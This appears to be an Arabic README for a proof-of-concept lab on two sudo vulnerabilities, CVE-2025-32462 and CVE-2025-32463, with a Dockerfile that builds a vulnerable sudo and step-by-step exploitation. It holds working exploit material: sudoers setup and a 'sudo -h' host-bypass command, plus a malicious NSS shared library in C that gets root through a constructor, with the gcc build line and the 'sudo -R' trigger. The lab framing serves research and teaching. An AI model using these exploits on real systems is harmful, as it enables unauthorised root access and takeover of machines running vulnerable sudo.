CVE-2025-32462 & CVE-2025-32463 – مختبر PoC متقدم

يوفر هذا المستودع مختبرًا قائمًا على الحاويات وPoC مفصلاً لثغرتين حرجتين في sudo:

CVE-2025-32462 – تجاوز منطق مطابقة المضيف لخيار -h في sudo
CVE-2025-32463 – هروب مكتبة NSS عبر chroot باستخدام خيار -R في sudo

البحث والإسناد

البحث الأصلي بواسطة Rich Mirch – Stratascale CRU
بيئة PoC والمختبر بواسطة MAAYTHM

نظرة عامة تقنية

CVE-2025-32462 – تجاوز منطق التحقق من المضيف

يفرض sudo التفويض القائم على المضيف عبر Host_Alias في /etc/sudoers.
تحدث الثغرة عند توفير الخيار -h: يقيّم sudo اسم المضيف المُقدَّم بدلاً من اسم المضيف الرسمي للنظام، مما يسمح للمستخدمين المقيّدين بتجاوز سياسات sudo القائمة على المضيف.

الأثر:

تجاوز سياسة قائمة على المضيف
تصعيد الامتيازات
تنفيذ أوامر جذر غير مصرح بها

CVE-2025-32463 – حقن NSS عبر Chroot

يسمح خيار -R في sudo بالتنفيذ داخل بيئة chroot. أثناء التهيئة، يتم تحميل مكتبات NSS (Name Service Switch) استنادًا إلى /etc/nsswitch.conf. من خلال توفير بيئة chroot خبيثة ومكتبة NSS مخصصة، يمكن للمهاجم تنفيذ كود بصلاحية الجذر.

سطح الهجوم:

نظام ملفات chroot مُتحكَّم فيه
ملف nsswitch.conf يُعرّفه المهاجم
مكتبة NSS مشتركة مخصصة تُحمَّل ديناميكيًا
كود المُنشئ (constructor) يُنفَّذ بصلاحيات مرتفعة

الأثر:

تصعيد امتيازات إلى الجذر
تنفيذ كود عشوائي داخل سياق chroot

بيئة المختبر

نظام التشغيل الأساسي: Ubuntu 24.04
إصدار sudo المعرّض للثغرة: 1.9.16p2
المستخدمون: pwn (غير جذر)
العزل: حاوية Docker مع شبكة مخصصة

بنية المستودع

CVE-2025-32462-CVE-2025-32463-PoC-Lab
├── Dockerfile
│   # Builds vulnerable sudo environment
│
├── exploit/
│   ├── cve_2025_32463.c
│   │   # Malicious NSS shared library used for privilege escalation
│   └── build.sh
│       # Compiles the exploit payload into a shared NSS module
│
├── lab/
│   └── setup.sh
│       # Automates vulnerable lab configuration and sudoers setup
│
└── README.md
    # Technical documentation, vulnerability analysis, and PoC usage guide

التحليل الفني الكامل، دليل خطوات PoC، ودليل الاستغلال

إعداد مختبر Docker

FROM ubuntu:24.04

ENV DEBIAN_FRONTEND=noninteractive

RUN apt-get update && \
    apt-get install -y build-essential wget libpam0g-dev libselinux1-dev zlib1g-dev \
                       pkg-config libssl-dev git nano gcc && \
    rm -rf /var/lib/apt/lists/*

WORKDIR /opt
RUN wget https://www.sudo.ws/dist/sudo-1.9.16p2.tar.gz && \
    tar xzf sudo-1.9.16p2.tar.gz && \
    cd sudo-1.9.16p2 && \
    ./configure --disable-gcrypt --prefix=/usr && \
    make && make install

RUN useradd -m -s /bin/bash pwn && \
    echo 'pwn:pwn' | chpasswd

USER pwn
WORKDIR /home/pwn

CMD ["/bin/bash"]

بناء وتشغيل المختبر

docker build -t sudo-vuln-lab . docker network create --subnet=172.190.0.0/16 sudolabnet docker run -d
--network sudolabnet
--ip 172.190.0.3
--hostname lowpriv.test.local
--add-host highpriv.test.local:172.190.0.2
--name lowpriv
sudo-vuln-lab tail -f /dev/null

CVE-2025-32462 – الاستغلال

docker exec -u root -it lowpriv bash echo 'Host_Alias HIGH = highpriv.test.local' >> /etc/sudoers echo 'Host_Alias LOW = lowpriv.test.local' >> /etc/sudoers echo 'pwn HIGH,!LOW = NOPASSWD:ALL' >> /etc/sudoers

السلوك الطبيعي:

sudo id

Password required

الاستغلال:

sudo -h highpriv.test.local id

uid=0(root) gid=0(root) groups=0(root)

sudo -h highpriv.test.local hostname -f

lowpriv.test.local

CVE-2025-32463 – الاستغلال

mkdir -p exploitDir/etc echo 'passwd: /cve_2025_32463' > exploitDir/etc/nsswitch.conf mkdir libnss_ cp /etc/group exploitDir/etc/

مكتبة NSS الخبيثة:

#include <stdlib.h> #include <unistd.h>

attribute((constructor)) void GIVEMEROOT(void) { setreuid(0,0); setregid(0,0); chdir("/"); execl("/bin/bash", "/bin/bash", NULL); }

التجميع:

gcc -shared -fPIC -Wl,-init,GIVEMEROOT -o libnss_/cve_2025_32463.so.2 cve_2025_32463.c

التشغيل: sudo -R exploitDir

الأكثر شعبية

CVE-2025-32462-CVE-2025-32463-PoC-Lab